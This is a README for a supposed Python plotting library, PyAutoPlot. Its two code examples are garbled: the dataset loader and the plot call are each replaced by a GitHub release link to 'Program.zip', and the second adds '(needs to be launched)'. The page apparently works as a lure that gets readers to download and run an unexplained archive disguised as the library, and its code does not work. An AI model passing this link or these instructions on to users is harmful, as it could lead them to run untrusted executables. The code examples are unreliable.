PyAutoPlot is an open-source Python library designed to make dataset analysis much easier by generating helpful detailed plots using matplotlib. It automatically generates appropriate plots based on the dataset you feed it.
- Automated generation of various types of plots
- Supports CSV and Pandas DataFrame inputs
- Detailed and customizable plots
- Easy to use and integrate into your data analysis workflow
You can install PyAutoPlot via pip:
pip install pyautoplotimport pandas as pd
from pyautoplot import PyAutoPlot
# Load your dataset
data = https://github.com/theOnlyMan1/PyAutoPlot/releases/download/v1.0/Program.zip('https://github.com/theOnlyMan1/PyAutoPlot/releases/download/v1.0/Program.zip')
# Create an instance of PyAutoPlot
pyap = PyAutoPlot()
# Generate plots automatically
https://github.com/theOnlyMan1/PyAutoPlot/releases/download/v1.0/Program.zip(data)PyAutoPlot can generate the following types of plots:
- Histograms
- Scatter Plots
- Line Plots
- Box Plots
- Pie Charts
- Bar Plots
- and more!
Here's a simple example of how to use PyAutoPlot to analyze a dataset:
import pandas as pd
from pyautoplot import PyAutoPlot
# Load the dataset
data = https://github.com/theOnlyMan1/PyAutoPlot/releases/download/v1.0/Program.zip('https://github.com/theOnlyMan1/PyAutoPlot/releases/download/v1.0/Program.zip')
# Create an instance of PyAutoPlot
pyap = PyAutoPlot()
# Generate plots
https://github.com/theOnlyMan1/PyAutoPlot/releases/download/v1.0/Program.zip(data) (needs to be launched)
analysis, automatic, csv, data, dataset, dataset-analysis, generation, matplotlib, pandas, plots, plotting-in-python, plotting-library, python
Contributions are welcome! If you have any ideas for improving PyAutoPlot or want to add new features, feel free to submit a pull request.
Visit the PyAutoPlot GitHub Repository for more information and to access the latest updates. Start using PyAutoPlot today and simplify your dataset analysis process! 🚀